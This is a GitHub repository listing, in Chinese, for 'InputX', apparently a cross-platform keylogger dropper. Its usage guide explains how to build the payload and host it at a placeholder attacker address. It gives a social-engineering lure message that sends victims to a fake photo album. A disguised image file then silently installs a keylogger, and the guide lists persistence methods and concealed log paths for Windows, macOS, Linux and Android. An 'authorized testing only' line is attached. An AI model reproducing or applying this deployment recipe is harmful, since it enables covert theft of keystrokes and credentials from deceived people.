Valiyeva2005/inputX
GitHub: Valiyeva2005/inputX
InputX 是一个跨平台键盘记录与载荷投递演示工具,用于安全研究与授权渗透测试中学习 Dropper 投递和键录持久化原理。
Stars: 0 | Forks: 0
# =============================================
相册 - 通用 Dropper
授权的渗透测试工具
使用说明:
1. 构建:
Windows:双击 deploy_windows.bat
Linux:bash deploy_linux.sh
手动构建:python builder.py
2. 服务端:
python server.py
链接:http://SENIN_IP:8080
3. 发送:
向目标发送链接:
“看看这些照片,是我们上周拍的”
http://SENIN_IP:8080
4. 执行流程:
- 受害者访问链接
- 看到“打开相册”按钮
- 点击 -> 下载 photo_album.png
- 打开文件 -> 图片正常显示
- Keylogger 开始运行(适配对应平台)
- 毫无察觉
5. 支持平台:
Windows -> GetAsyncKeyState + 注册表持久化
macOS -> CoreGraphics + LaunchAgent
Linux -> /dev/input + systemd
Android -> Termux /dev/input + crontab
6. 日志路径:
Windows: %APPDATA%\syshelper\cache.dat
macOS: ~/.Library/.AppleSupport/.store
Linux: /var/tmp/.systemd-private/.journal
Android: /data/local/tmp/.cache
# =============================================
仅限授权测试使用!
标签:Python, 后门木马, 恶意软件, 无后门, 网络信息收集, 逆向工具, 键盘记录